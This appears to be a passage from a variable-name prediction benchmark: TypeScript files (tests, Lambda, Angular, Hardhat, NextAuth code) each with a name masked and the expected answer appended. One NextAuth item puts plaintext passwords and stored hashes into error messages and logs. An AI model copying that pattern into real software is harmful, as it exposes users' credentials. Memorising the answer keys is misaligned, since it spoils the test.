  config: {
    nodeEnv: ""test"",
    database: {
      host: ""localhost"",
      port: 5432,
      username: ""test"",
      password: ""<PASSWORD>"",
      database: ""test_db"",
    },
  },
  getLogLevel: jest.fn().mockReturnValue(""silent""),
}));

describe(""App Initialization"", () => {
  // would write mocked types but due to time constraints, using any
  // eslint-disable-next-line @typescript-eslint/no-explicit-any
  let mockApp: any;
  // eslint-disable-next-line @typescript-eslint/no-explicit-any
  let buildApp: any;

  beforeEach(() => {
    jest.clearAllMocks();

    // Set up the mock Fastify instance
    mockApp = {
      register: jest.fn().mockReturnThis(),
      get: jest.fn().mockReturnThis(),
      setNotFoundHandler: jest.fn().mockReturnThis(),
      setErrorHandler: jest.fn().mockReturnThis(),
      addHook: jest.fn().mockReturnThis(),
      decorate: jest.fn().mockReturnThis(),
    };

    (Fastify as unknown as jest.Mock).mockReturnValue(mockApp);

    // Dynamically import the app to ensure our mocks are set up first
    jest.isolateModules(async () => {
      buildApp = (await import(""../app"")).default;
    });
  });

  it(""should create a Fastify instance with logger configuration"", () => {
    // given / when
    buildApp();

    // then
    expect(Fastify).toHaveBeenCalledWith(
      expect.objectContaining({
        logger: expect.objectContaining({
          level: ""silent"",
        }),
      }),
    );
  });

  it(""should register security plugins"", () => {
    // given / when
    buildApp();

    // then
    expect(mockApp.register).toHaveBeenCalledWith(cors);
    expect(mockApp.register).toHaveBeenCalledWith(helmet);
  });

  it(""should define a health check endpoint"", () => {
    // given / when
    buildApp();

    // then
    expect(mockApp.get).toHaveBeenCalledWith(
      ""/prices-api/v1/health"",
      expect.any(Function),
    );
  });

  it(""should register alert routes with correct prefix"", () => {
    // given / when
    buildApp();

    // then
    expect(mockApp.register).toHaveBeenCalledWith(alertRoutes, {
      prefix: ""/prices-api/v1/alerts"",
    });
  });

  it(""should set up error handlers"", () => {
    // given / when
    buildApp();

    // then
    expect(mockApp.setNotFoundHandler).toHaveBeenCalledWith(
      expect.any(Function),
    );
    expect(mockApp.setErrorHandler).toHaveBeenCalledWith(expect.any(Function));
  });

  it(""should set up onReady hook to initialize price check service"", () => {
    // When
    buildApp();

    // Then
    expect(mockApp.addHook).toHaveBeenCalledWith(
      ""onReady"",
      expect.any(Function),
    );
  });

  it(""should set up onClose hook for cleanup"", () => {
    // When
    buildApp();

    // Then
    expect(mockApp.addHook).toHaveBeenCalledWith(
      ""onClose"",
      expect.any(Function),
    );
  });

  // Test the health check endpoint handler
  it(""should return correct response from health check endpoint"", async () => {
    // given
    buildApp();

    // Get the health check handler function
    const healthCheckHandlerCall = mockApp.get.mock.calls.find(
      // eslint-disable-next-line @typescript-eslint/no-explicit-any
      (call: any) => call[0] === ""/prices-api/v1/health"",
    );
    const healthCheckHandler = healthCheckHandlerCall[1];

    // when
    const response = await healthCheckHandler();

    // then
    expect(response).toEqual({
      status: ""OK"",
      message: ""API is up and running"",
    });
  });

  it(""should handle 404 errors correctly"", () => {
    // given
    buildApp();

    const notFoundHandler = mockApp.setNotFoundHandler.mock.calls[0][0];
    const request = {};
    const  [MASK]  = {
      status: jest.fn().mockReturnThis(),
      send: jest.fn(),
    };

    // when
    notFoundHandler(request,  [MASK] );

    // then
    expect( [MASK] .status).toHaveBeenCalledWith(404);
    expect( [MASK] .send).toHaveBeenCalledWith({ message: ""Resource not found"" });
  });
});
",reply
258,"import { CreateChatTokenResponse } from '@aws-sdk/client-ivschat';
import { chatSdk, ddbSdk } from '@Lambda/sdk';
import { APIException, CreateChatTokenBody } from '@Lambda/types';
import {
  createErrorResponse,
  createSuccessResponse,
  getUserData
} from '@Lambda/utils';
import {
  APIGatewayProxyResultV2,
  APIGatewayProxyWithCognitoAuthorizerEvent
} from 'aws-lambda';

async function handler(
  event: APIGatewayProxyWithCognitoAuthorizerEvent
): Promise<APIGatewayProxyResultV2> {
  const { meetingId }: CreateChatTokenBody = JSON.parse(event.body || '{}');
  const  [MASK]  = getUserData(event);
  let response: CreateChatTokenResponse;

  console.info('[EVENT]', JSON.stringify(event));

  // Check required input
  if (!meetingId) {
    return createErrorResponse({
      code: 400,
      name: APIException.BAD_INPUT,
      message: 'Missing meetingId'
    });
  }

  try {
    const meetingRecord = await ddbSdk.getMeetingRecord(meetingId);

    if (!meetingRecord) {
      return createErrorResponse({
        code: 404,
        name: APIException.MEETING_NOT_FOUND,
        message: `No meeting exists with the meeting ID or alias ""${meetingId}""`
      });
    }

    console.info('Found meeting record', meetingRecord);

    response = await chatSdk.createToken(meetingRecord.chatRoomArn,  [MASK] );
  } catch (error) {
    console.error(error);

    return createErrorResponse({ message: 'Failed to create chat token.' });
  }

  console.info('[RESPONSE]', response);

  return createSuccessResponse({ body: response });
}

export { handler };
",userData
259,"import { HttpClient } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
import { AbstractControl, FormBuilder, FormGroup, Validators } from '@angular/forms';
import { MatSnackBar } from '@angular/material/snack-bar';
import { environment } from '../environment';
import { FileService } from '../file.service';
import { Targets } from '../models/Target';
import { TargetService } from '../target.service';

@Component({
  selector: 'app-targets',
  templateUrl: './targets.component.html',
  styleUrls: ['./targets.component.css']
})
export class TargetsComponent implements OnInit {
  targetForm: FormGroup;
  selectedTarget: any;
  targetList: Targets;

  constructor(private http: HttpClient, private targetService: TargetService, private formBuilder: FormBuilder, private fileService: FileService, private snackbar: MatSnackBar) { }

  ngOnInit(): void {
    this.targetForm = this.formBuilder.group({
      targetName: ['', Validators.required],
      address: ['', Validators.required],
      ca: ['', Validators.required],
      cakey: ['', Validators.required],
    });
    this.selectedTarget = {};
    this.getTargets();
  }

  getTargets(): void {
    this.targetService.getTargets().subscribe(targets => {
      if (targets != null) {
        this.targetList = targets;
      } else {
        this.targetList = {};
      }
    });
  }

  setTarget(targetForm): void {
    this.http.post(`${environment.apiUrl}/target/${targetForm.targetName}`, targetForm).subscribe(
      (res) => {
        this.targetList[targetForm.targetName] = {
          address: targetForm.address,
          ca: targetForm.ca,
          cakey: targetForm.cakey,
        };
        this.selectedTarget = this.targetList[targetForm.targetName];
        this.snackbar.open(""Saved"", """", {duration: 2000});
    },
      (error) => console.error(error),
    );
  }

  deleteTarget(): void {
    let name = this.targetForm.get(""targetName"").value;
    this.fileService.deleteFile(this.selectedTarget.ca).subscribe((res) => {
      console.log(res);
    }, error => console.error(error));
    this.fileService.deleteFile(this.selectedTarget.cakey).subscribe((res) => {
      console.log(res);
    }, error => console.error(error));
    this.targetService.delete(name).subscribe(res => {
      this.selectedTarget = {};
      this.targetForm.reset();
      delete this.targetList[name];
      this.snackbar.open(""Deleted"", """", {duration: 2000});
    }, error => console.error(error))
  }

  setSelectedTarget(targetName: string): void {
    this.selectedTarget = this.targetList[targetName];
    if (this.selectedTarget === undefined) {
      this.selectedTarget = {};
      this.targetForm.reset();
      return;
    }
    this.targetForm.setValue({
      targetName,
      address: this.selectedTarget.address,
      ca: this.selectedTarget.ca,
      cakey: this.selectedTarget.cakey,
    });
  }

  addCa( [MASK] : string): void {
    this.targetForm.patchValue({
       ca:  [MASK] ,
    });
  }

  addCaKey(keyFileName: string): void {
    this.targetForm.patchValue({
      cakey: keyFileName,
    });
  }

  get targetName(): AbstractControl {
    return this.targetForm.get('targetName');
  }
  get targetAddress(): AbstractControl {
    return this.targetForm.get('address');
  }
}
",caFileName
260,"import { use, expect, assert } from 'chai'
import { ethers } from ""ethers""

import { deployContract, solidity } from 'ethereum-waffle'
import { waffle } from ""@nomiclabs/buidler"";

// The actual contract
import DKG from ""../build/DKG.json""

use(solidity);


describe('DKG', () => {
    const provider = waffle.provider;
    const [deployer, ...participants] = provider.getWallets();

    const timeTravel = async (blocks: number) => {
      for (let i = 0; i < blocks; i++) {
        await provider.send('evm_mine', [])
      }
    }

    // Each phase's data is just an opaque blob of data from the smart contract's
    // perspective, so we'll just use a dummy data object
    const data = ""0x2222222222222222222222222222222222222222222222222222222222222222""

    // Each phase lasts 30 blocks
    const PHASE_DURATION = 30;
    const THRESHOLD = 3;

    let dkg: ethers.Contract;

    beforeEach(async () => {
        dkg = await deployContract(deployer, DKG, [THRESHOLD, PHASE_DURATION]);
        await dkg.allowlist(participants[0].address)
        await dkg.allowlist(participants[1].address)
    })

    describe('Whitelist', async () => {
        it('only owner can allowlist', async () => {
            // non-owner user tries to allowlist a sybil copy of them
            dkg = dkg.connect(participants[0]);
            await expect(dkg.allowlist(participants[2].address)).revertedWith(""only owner may allowlist users"")
        })

        it('owner cannot allowlist twice', async () => {
            await expect(dkg.allowlist(participants[0].address)).revertedWith(""user is already allowlisted"")
        })

        it('cannot allowlist once started', async () => {
            await dkg.start()
            await expect(dkg.allowlist(participants[2].address)).revertedWith(""DKG has already started"")
        });
    })

    describe('Registration', async () => {
        it('participants can register', async () => {
            dkg = dkg.connect(participants[0]);
            await dkg.register(data)
        })

        it('participants cannot register if not allowlisted', async () => {
            dkg = dkg.connect(participants[2]);
            await expect(dkg.register(data)).revertedWith(""user is not allowlisted or has already registered"")
        })

        it('participants cannot register twice', async () => {
            dkg = dkg.connect(participants[0]);
            await dkg.register(data)
            await expect(dkg.register(data)).revertedWith(""user is not allowlisted or has already registered"")

            // user cannot try to inflate the registrations array with 0-length registrations
            await expect(dkg.register(""0x"")).revertedWith(""user is not allowlisted or has already registered"")
        })

        it('cannot register once started', async () => {
            // user is allowlisted but they dont' register in time
            await dkg.allowlist(participants[2].address)
            await dkg.start()

            dkg = dkg.connect(participants[2]);
            await expect(dkg.register(data)).revertedWith(""DKG has already started"")
        });

        it('only owner can start the DKG', async () => {
            await expect(dkg.connect(participants[0]).start()).revertedWith(""only owner may start the DKG"")
        });

        it('cannot publish if not registered', async () => {
            expect(dkg.connect(participants[1]).publish(data)).revertedWith(""you are not registered!"");
        })

    })

    it('e2e', async() => {
        const  [MASK]  = ""0x123"";
        await dkg.connect(participants[0]).register( [MASK] )

        const pubkey2 = ""0x456"";
        await dkg.connect(participants[1]).register(pubkey2)

        expect(await dkg.inPhase()).to.equal(0);

        await dkg.start()

        expect(await dkg.inPhase()).to.equal(1);

        // only the second participant publishes their shares
        const my_shares = ""0x123456"";
        await dkg.connect(participants[1]).publish(my_shares)

        const shares = await dkg.getShares()
        expect(shares[0]).to.equal(""0x"")
        expect(shares[1]).to.equal(my_shares)

        await timeTravel(PHASE_DURATION)
        expect(await dkg.inPhase()).to.equal(2);

        // only the second participant publishes their responses
        const my_responses = ""0x234567"";
        await dkg.connect(participants[1]).publish(my_responses)

        const responses = await dkg.getResponses()
        expect(responses[0]).to.equal(""0x"")
        expect(responses[1]).to.equal(my_responses)

        await timeTravel(PHASE_DURATION)
        expect(await dkg.inPhase()).to.equal(3);

        // only the second participant publishes their justifications
        const my_justifications = ""0x345678"";
        await dkg.connect(participants[1]).publish(my_justifications)

        const justifications = await dkg.getJustifications()
        expect(justifications[0]).to.equal(""0x"")
        expect(justifications[1]).to.equal(my_justifications)

        await timeTravel(PHASE_DURATION)
        await expect(dkg.inPhase()).revertedWith(""VM Exception while processing transaction: revert DKG Ended"")
    })

    describe('Shares', async () => {
        beforeEach(async () => {
            dkg = dkg.connect(participants[0])
            await dkg.register(data)

            await dkg.connect(deployer).start()
        })

        it('publishes to shares', async () => {
            await dkg.publish(data)
            const shares = await dkg.getShares()
            expect(shares[0]).to.equal(data)

            const responses = await dkg.getResponses()
            expect(responses[0]).to.equal(""0x"");

            const justifications = await dkg.getJustifications()
            expect(justifications[0]).to.equal(""0x"");
        })

        it('cannot publish to shares twice', async () => {
            await dkg.publish(data)
            await expect(dkg.publish(data)).revertedWith(""you have already published your shares"")
        })
    })

    describe('Responses', async () => {
        beforeEach(async () => {
            dkg = dkg.connect(participants[0])
            await dkg.register(data)

            await dkg.connect(deployer).start()

            await timeTravel(PHASE_DURATION)
        })

        it('publishes to responses', async () => {
            await dkg.publish(data)
            const responses = await dkg.getResponses()
            expect(responses[0]).to.equal(data)

            const shares = await dkg.getShares()
            expect(shares[0]).to.equal(""0x"");

            const justifications = await dkg.getJustifications()
            expect(justifications[0]).to.equal(""0x"");

        })

        it('cannot publish twice', async () => {
            await dkg.publish(data)
            await expect(dkg.publish(data)).revertedWith(""you have already published your responses"")
        })
    })

    describe('Responses', async () => {
        beforeEach(async () => {
            dkg = dkg.connect(participants[0])
            await dkg.register(data)

            await dkg.connect(deployer).start()

            await timeTravel(2 * PHASE_DURATION)
        })

        it('publishes to justifications', async () => {
            await dkg.publish(data)
            const justifications = await dkg.getJustifications()
            expect(justifications[0]).to.equal(data)

            const shares = await dkg.getShares()
            expect(shares[0]).to.equal(""0x"");

            const responses = await dkg.getResponses()
            expect(responses[0]).to.equal(""0x"");

        })

        it('cannot publish twice', async () => {
            await dkg.publish(data)
            await expect(dkg.publish(data)).revertedWith(""you have already published your justifications"")
        })
    })

    it('Phases are correct', async () => {
        expect(await dkg.inPhase()).to.equal(0);
        await dkg.start()
        expect(await dkg.inPhase()).to.equal(1);
        // we need to mine 1 extra block here for the phase to change
        await timeTravel(PHASE_DURATION+ 1)
        expect(await dkg.inPhase()).to.equal(2);
        await timeTravel(PHASE_DURATION + 1)
        expect(await dkg.inPhase()).to.equal(3);
        await timeTravel(PHASE_DURATION + 1)
        await expect(dkg.inPhase()).revertedWith(""VM Exception while processing transaction: revert DKG Ended"")
    })

    it('Ended', async () => {
        dkg = dkg.connect(participants[0])
        await dkg.register(data)
        await dkg.connect(deployer).start()
        await timeTravel(3 * PHASE_DURATION)
        await expect(dkg.publish(data)).revertedWith(""DKG has ended"")
    })
})
",pubkey1
261,"import {  Component, OnInit } from '@angular/core';
import { FormControl } from '@angular/forms';
import { MatAutocompleteActivatedEvent } from '@angular/material/autocomplete';
import { MatIconRegistry } from '@angular/material/icon';
import { DomSanitizer } from '@angular/platform-browser';
import { Subject } from 'rxjs';
import { debounceTime, map, startWith } from 'rxjs/operators';
import { ShieldService } from './shield.service';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss']
})
export class AppComponent implements OnInit {
  loaded = false;
  filteredOptions: string[] = [];
  lookUpIcon = new Subject<string>();
  myControl = new FormControl('');

  Math = Math;

  mode: 'material' | 'custom' = 'material';

  customSvgFile: File | null = null;

  constructor(
    private _iconRegistry: MatIconRegistry,
    private domSanitizer: DomSanitizer,
    public shieldService: ShieldService
  ) { }

  ngOnInit(): void {
    this.lookUpIcon.pipe(debounceTime(250)).subscribe((iconLabel) => {
      this.customSvgFile = null;
      this.shieldService.svgAsString.next('');

      this._lookUpIcon(iconLabel)
    });

    this.shieldService.style.subscribe(() => this.lookUpIcon.next(this.shieldService.icon.value));
    this.shieldService.version.subscribe(() => this.lookUpIcon.next(this.shieldService.icon.value));

    this.myControl = new FormControl(this.shieldService.icon.value); 

    this.myControl.valueChanges.pipe(
      startWith(''),
      debounceTime(200),
      map(value => this._filter(value))
    ).subscribe((res) => {
      this.filteredOptions = res;
    });

    this.myControl.valueChanges.subscribe((option) => {
      this.shieldService.version.next(this.shieldService.iconNameToVersion[option]?.toString?.())
      this.lookUpIcon.next(option);
    });

    this.shieldService.svgAsString.subscribe((svgString) => {
      this.mode = svgString === '' ? 'material' : 'custom';
    });

    this.lookUpIcon.next(this.shieldService.icon.value);
  }

  onAutoCompleteOptionActivation(event: MatAutocompleteActivatedEvent): void {
    const option = event.option?.value;
    this.shieldService.version.next(this.shieldService.iconNameToVersion[option]?.toString?.())
    this.lookUpIcon.next(option);
  }

  private _filter(value: string) {
    const filterValue = value.toLowerCase();

    return this.shieldService.materialIconNames.filter(option => option.toLowerCase().startsWith(filterValue));
  }

  getMaterialUrl(): string {
    return `https://fonts.gstatic.com/s/i/${this.shieldService.namespace()}`
  }

  onUpload(event: Event): void {
    const files = (event.target as any).files;
    const file = files[0];

    const reader = new FileReader();
    reader.onload = ((e: any) => { 
      const  [MASK]  =  e.target.result.split('data:image/svg+xml;base64,')[1];
      const svg = atob( [MASK] );

      this.shieldService.svgAsString.next(svg);
    });

    reader.readAsDataURL(file);
  }

  doesNotExist = new Set<string>();

  private _lookUpIcon(iconLabel: string): void {
    const url = `https://fonts.gstatic.com/s/i/${this.shieldService.style.value}/${iconLabel}/v${this.shieldService.version.value}/${this.shieldService.size.value}px.svg`;

    if (this.doesNotExist.has(url)) {
      return;
    }

    fetch(url).then((res) => {
      if (!res.ok) {
        this.doesNotExist.add(url)
        return;
      }

      this.shieldService.icon.next(iconLabel);

      this._iconRegistry.addSvgIconInNamespace(
        this.shieldService.namespace(),
        this.shieldService.icon.value,
        this.domSanitizer.bypassSecurityTrustResourceUrl(this.getMaterialUrl())
      );

      this.shieldService.iconRotation.next(this.shieldService.iconRotation.value);
      
      this.loaded = true;
    });
  }

  randomInputs(): void {
    this.shieldService.primary.next(this.generateRandomColor());
    this.shieldService.iconColor.next(this.generateRandomColor());
    this.shieldService.secondary.next(this.generateRandomColor());
  }

  generateRandomColor(): string {
    // https://css-tricks.com/snippets/javascript/random-hex-color/
    return '#' + Math.floor(Math.random()*16777215).toString(16);
  }
}
",encodedSVG
262,"import { HardhatRuntimeEnvironment } from ""hardhat/types"";
import { DeployFunction } from ""hardhat-deploy/types"";

interface ConstructorArgs {
  root: string;
  totalUsesPerConsumer: number;
  tokenAddress: string;
  voucherValue: number;
}

const func: DeployFunction = async function (hre: HardhatRuntimeEnvironment) {
  const { deployments, getNamedAccounts } = hre;
  const { deploy } = deployments;
  const { deployer } = await getNamedAccounts();

  /* 1. Recover USDT from deployments */
  const usdtDeployment = await deployments.get(""USDT"");
  const usdtAddress = usdtDeployment.address;
  console.log(""Using USDT deployed at: "", usdtAddress);

  console.log(""Vault deployer: "", deployer);

  /* 2. Deploy Vault */
  const constructorArgs: ConstructorArgs = {
    root: ""0x7c051167362941338293b69a56e14425db2dd23de7cee321c504981379214fe0"",
    totalUsesPerConsumer: 1,
    tokenAddress: usdtAddress,
    voucherValue: 100,
  };
  await deploy(""Vault"", {
    from: deployer,
    log: true,
    //   bytes32 _merkleRoot, uint256 _totalUsesPerConsumer, address _tokenAddress, uint256 _voucherValue
    args: [constructorArgs.root, constructorArgs.totalUsesPerConsumer, constructorArgs.tokenAddress, constructorArgs.voucherValue],
  });
  const  [MASK]  = await deployments.get(""Vault"");
  const vaultAddress =  [MASK] .address;
  console.log(""Vault deployed at: "", vaultAddress, ""\n"");
};

export default func;
func.tags = [""all"", ""vault""];
func.dependencies = [""usdt""];
",vaultDeployment
263,"import type { DynamicData, SyncData } from '../common';

// 优先发布图文
export async function DynamicDouban(data: SyncData) {
  const dynamicData = data.data as DynamicData;
  console.debug('DynamicDouban', data);

  // 辅助函数：等待元素出现
  function waitForElement(selector: string, timeout = 10000): Promise<Element> {
    return new Promise((resolve, reject) => {
      const element = document.querySelector(selector);
      if (element) {
        resolve(element);
        return;
      }

      const observer = new MutationObserver(() => {
        const element = document.querySelector(selector);
        if (element) {
          resolve(element);
          observer.disconnect();
        }
      });

      observer.observe(document.body, {
        childList: true,
        subtree: true,
      });

      setTimeout(() => {
        observer.disconnect();
        reject(new Error(`Element with selector ""${selector}"" not found within ${timeout}ms`));
      }, timeout);
    });
  }

  // 填写内容
  async function fillContent() {
    await waitForElement('textarea[id=""isay-cont""]');
    await new Promise((resolve) => setTimeout(resolve, 1000));

    const textarea = document.querySelector('#isay-cont') as HTMLTextAreaElement;
    if (textarea) {
      // 如果有标题，将标题和内容拼接
      const fullContent = dynamicData.title ? `${dynamicData.title}\n\n${dynamicData.content}` : dynamicData.content;
      textarea.value = fullContent;
      textarea.dispatchEvent(new Event('input', { bubbles: true }));
      textarea.dispatchEvent(new Event('click', { bubbles: true }));
    }
  }

  // 上传图片
  async function uploadFiles() {
    if (!dynamicData.images?.length) return;

    const  [MASK]  = document.querySelector('input[type=""file""]') as HTMLInputElement;
    if (! [MASK] ) {
      console.debug('未找到文件输入元素');
      return;
    }

    const dataTransfer = new DataTransfer();
    const files = dynamicData.images || [];

    for (let i = 0; i < files.length; i++) {
      if (i >= 8) {
        console.debug('最多上传8张图片');
        break;
      }

      const fileInfo = files[i];
      if (!fileInfo.type.startsWith('image/')) {
        console.debug('skip non-image file', fileInfo);
        continue;
      }

      try {
        console.debug('try upload file', fileInfo);
        const response = await fetch(fileInfo.url);
        const arrayBuffer = await response.arrayBuffer();
        const file = new File([arrayBuffer], fileInfo.name, { type: fileInfo.type });
        dataTransfer.items.add(file);
      } catch (error) {
        console.error('上传文件失败:', error);
      }
    }

    if (dataTransfer.files.length > 0) {
       [MASK] .files = dataTransfer.files;
       [MASK] .dispatchEvent(new Event('change', { bubbles: true }));
       [MASK] .dispatchEvent(new Event('input', { bubbles: true }));
      console.debug('文件上传操作完成');
      await new Promise((resolve) => setTimeout(resolve, 5000));
    }
  }

  // 发布动态
  async function publishDynamic() {
    const sendButton = document.querySelector('#isay-submit') as HTMLButtonElement;
    if (sendButton) {
      if (data.isAutoPublish) {
        console.debug('sendButton clicked');
        sendButton.click();
      }
    } else {
      console.debug('未找到""发送""按钮');
    }
  }

  // 主流程
  try {
    await fillContent();
    await uploadFiles();
    await publishDynamic();
  } catch (error) {
    console.error('发布动态失败:', error);
  }
}
",fileInput
264,"import { get, post } from '$lib/api';

export type ModelLabel = {
	default: string | number;
	type: string;
	comment: string;
	required: boolean;
};
export interface ModelOption {
	model: Record<string, ModelLabel>;
	trainer: Record<string, ModelLabel>;
}
export const getModelOptions = async () => {
	const res = await get('/lm/models/options');
	return res.json() as Promise<Record<string, ModelOption>>;
};

type ExternalConfig = { fork?: string; series: any };
export interface TrainedModel {
	name: string;
	checkpoints: string[];
	config: ExternalConfig;
}

/** 获取以及训练完成的模型 */
export const getTrainedNetworks = async () => {
	const res = await get('/lm/models');
	return res.json() as Promise<TrainedModel[]>;
};

export interface ModelDetail {
	model_name: string;
	model_config: Record<string, any>;
	external_config: ExternalConfig;
}
export const getModelDetail = async (model: string) => {
	const res = await get(`/lm/models/${model}`);
	return res.json() as Promise<TrainedModel>;
};

export const getModelsOptions = async () => {
	const res = await get('/lm/models/options');
	return res.json() as Promise<{ [key: string]: { model: any; trainer: any } }>;
};

export const getTrainResources = async () => {
	const res = await get('/lm/train/resources');
	return res.json() as Promise<string[][]>;
};

export const getTrainCommand = async (
	type: string,
	fork: string | null,
	resume: string | null,
	dataset: string,
	tokenizer: string,
	modelOption: any,
	trainerOption: any
) => {
	const res = await post(`/lm/model/train/command`, {
		type: type,
		fork: fork,
		resume: resume,
		dataset: dataset,
		tokenizer: tokenizer,
		m_conf: modelOption,
		t_conf: trainerOption
	});
	return res.text() as Promise<string>;
};

export const startTrainModel = async (
	type: string,
	fork: string | null,
	resume: string | null,
	dataset: string,
	tokenizer: string,
	modelOption: any,
	trainerOption: any
) => {
	const res = await post('/lm/v2/model/train/', {
		type: type,
		fork: fork,
		resume: resume,
		dataset: dataset,
		tokenizer: tokenizer,
		m_conf: modelOption,
		t_conf: trainerOption
	});
	return res.json() as Promise<any>;
};

export const createForkNetwork = async (
	name: string,
	 [MASK] : string,
	modelOption: any,
	trainerOption: any
) => {
	const res = await post(`/lm/edit/init/${name}`, {
		model:  [MASK] ,
		m_conf: modelOption,
		t_conf: trainerOption
	});
	return res.json() as Promise<any>;
};
",modelType
265,"import NextAuth, {AuthOptions} from ""next-auth"";
import Credentials from ""next-auth/providers/credentials"";
import prismadb from ""@/lib/prismadb"";
import { compare } from ""bcrypt"";
import GithubProvider from ""next-auth/providers/github"";
import GoogleProvider from ""next-auth/providers/google"";
import { PrismaAdapter } from ""@next-auth/prisma-adapter"";

export const authOptions: AuthOptions = {
    providers: [
        GithubProvider({
            clientId: process.env.GITHUB_ID || '',
            clientSecret: process.env.GITHUB_SECRET || ''
        }),
        GoogleProvider({
            clientId: process.env.GOOGLE_CLIENT_ID || '',
            clientSecret: process.env.GOOGLE_CLIENT_SECRET || ''
        }),
        Credentials({
            id: ""credentials"",
            name: ""Credentials"",
            credentials: {
                email: {
                    label: ""Email"",
                    type: ""text"",
                },
                pwd: {
                    label: ""Password"",
                    type: ""password"",
                }
            },
            async authorize(credentials) {
                if (!credentials?.email || !credentials?.pwd) {
                    console.log(""Credentials: "", credentials);
                    throw new Error(""Emails and passwords are required, email: "" + credentials?.email + "" password: "" + credentials?.pwd );
                }
                const user = await prismadb.user.findUnique({
                    where:{
                        email: credentials.email
                    }
                });

                if (!user || !user.hashedPassword) {
                    throw new Error(""User not found"");
                }

                const  [MASK]  = await compare(
                    credentials.pwd,
                    user.hashedPassword
                );

                if (! [MASK] ) {
                    throw new Error(""Invalid email or password: "" + user.hashedPassword + "" "" + credentials.pwd);
                }

                return user;
            }
        })
    ],
    pages:{
        signIn: ""/auth"",
    },
    debug: process.env.NODE_ENV === ""development"",
    adapter: PrismaAdapter(prismadb),
    session: {
        strategy: ""jwt"",
    },
    jwt: {
        secret: process.env.NEXTAUTH_JWT_SECRET,
    },
    secret: process.env.NEXTAUTH_SECRET,
}

export default NextAuth(authOptions);",isCorrectPassword
266,"import * as fs from 'fs';
import * as path from 'path';
import { Organization, getClient, getOrderer } from './client';
import config from './config';

const CHANNEL_1_PATH = './../ksachdeva-exp-channel-1.tx';

async function main() {

  const  [MASK]  = await getClient(Organization.ORG1);
  const orderer = await getOrderer( [MASK] );

  // read in the envelope for the channel config raw bytes
  console.log('Reading the envelope from manually created channel transaction ..');
  const envelope = fs.readFileSync(path.join(__dirname, CHANNEL_1_PATH));

  // extract the configuration
  console.log('Extracting the channel configuration ..');
  const channelConfig =  [MASK] .extractChannelConfig(envelope);

  console.log('Signing the extracted channel configuration ..');
  const signature =  [MASK] .signChannelConfig(channelConfig);

  // prepare the request
  const channelRequest: ChannelRequest = {
    name: config.CHANNEL_NAME,
    config: channelConfig,
    signatures: [signature],
    orderer: orderer,
    txId:  [MASK] .newTransactionID()
  };

  console.log('Sending the request to create the channel ..');
  const response = await  [MASK] .createChannel(channelRequest);

  console.log(response);
}

main();
",org1Client
267,"function escapeBrackets(text: string): string {
  const pattern = /(```[\S\s]*?```|`.*?`)|\\\[([\S\s]*?[^\\])\\]|\\\((.*?)\\\)/g;
  return text.replace(
    pattern,
    (
      match: string,
      codeBlock: string | undefined,
       [MASK] : string | undefined,
      roundBracket: string | undefined,
    ): string => {
      if (codeBlock != null) {
        return codeBlock;
      } else if ( [MASK]  != null) {
        return `$$${ [MASK] }$$`;
      } else if (roundBracket != null) {
        return `$${roundBracket}$`;
      }
      return match;
    },
  );
}

function escapeMhchem(text: string) {
  return text.replaceAll('$\\ce{', '$\\\\ce{').replaceAll('$\\pu{', '$\\\\pu{');
}

export function preprocessLaTeX(content: string): string {
  const codeBlocks: string[] = [];
  content = content.replace(/(```[\s\S]*?```|`[^`\n]+`)/g, (match, code) => {
    codeBlocks.push(code);
    return `<<CODE_BLOCK_${codeBlocks.length - 1}>>`;
  });

  const latexExpressions: string[] = [];
  content = content.replace(/(\$\$[\s\S]*?\$\$|\\\[[\s\S]*?\\\]|\\.*\(?\\\))/g, (match) => {
    latexExpressions.push(match);
    return `<<LATEX_${latexExpressions.length - 1}>>`;
  });

  content = content.replace(/\$(?=\d)/g, '\\$');
  content = content.replace(/<<LATEX_(\d+)>>/g, (_, index) => latexExpressions[parseInt(index)]);
  content = content.replace(/<<CODE_BLOCK_(\d+)>>/g, (_, index) => codeBlocks[parseInt(index)]);
  content = content.replace(/\u00B7/g, '\u22C5');
  content = escapeBrackets(content);
  content = escapeMhchem(content);

  return content;
}
",squareBracket
268,"import axios, { AxiosResponse } from ""axios"";
import baseURL from ""./index"";

//const baseURL: string | undefined = ""http://localhost/api"";

const api = axios.create({
  baseURL,
});

export interface Stuff {
  id: number;
  name: string;
  price: number;
  img: string;
  type: string;
  rating: number;
}

export interface StuffInfo {
  id: number;
  stuff_id: number;
  title: string;
  description: string;
}

export interface StuffFilters {
  id: number;
  name: string;
  price: number;
  img: string;
  type_id: number;
  rating: number;
  stuffInfo: StuffInfo[];
}

export const getAllStuff = async (): Promise<any> => {
  try {
    const response: AxiosResponse<any> = await api.get('/stuff');
    return response.data;
  } catch (error) {
    console.error('Error fetching stuff:', error);
    throw error;
  }
};

export const getBasketStuff = async (): Promise<any> => {
  try {
    const response: AxiosResponse<any> = await api.get('/stuff/basket',{
      headers: {
        'Authorization': `Bearer ${localStorage.getItem('token')}`
      }
    });
    const basketStuffs = response.data;
    const stuffs = basketStuffs.map((basketStuff: any) => basketStuff.stuff);
    return stuffs;
  } catch (error) {
    console.error('Error fetching stuff:', error);
    throw error;
  }
};
export const addToBusket = async (stuffId: number) => {
  try {
    await axios.post(`${baseURL}/add-to-busket`, {
      stuff_id: stuffId
    }, {
      headers: {
        'Authorization': `Bearer ${localStorage.getItem('token')}`
      }
    });
    alert('Товар добавлен в корзину');
  } catch (error) {
    console.error('Ошибка при добавлении товара в корзину', error);
    alert('Не удалось добавить товар в корзину');
  }
};
export const removeFromBasket = async (stuffId: number) => {
  try {
    await axios.delete(`${baseURL}/remove-from-basket/${stuffId}`, {
      headers: {
        'Authorization': `Bearer ${localStorage.getItem('token')}`
      }
    });
    alert('Товар удален из корзины');
  } catch (error) {
    console.error('Ошибка при удалении товара из корзины', error);
    alert('Не удалось удалить товар из корзины');
  }
  window.location.reload();
};

export const getFilteredStuff = async ( [MASK] : any): Promise<StuffFilters[]> => {
  try {
    const response: AxiosResponse<StuffFilters[]> = await api.get('/stuff/filter', { params:  [MASK]  });
    return response.data;
  } catch (error) {
    console.error('Error fetching filtered stuff:', error);
    throw error;
  }
};

",filters
269,"import type { RayHandler } from ""./RayHandler"";
import {
    ShadowShader,
    WithoutShadowShader,
    GaussianShader,
    DiffuseShader,
    createShadowShader,
    createDiffuseShader,
    createWithoutShadowShader,
    createGaussianShader,
} from ""./shaders"";
import { VertexBufferObject } from ""./utils/VertexBufferObject"";
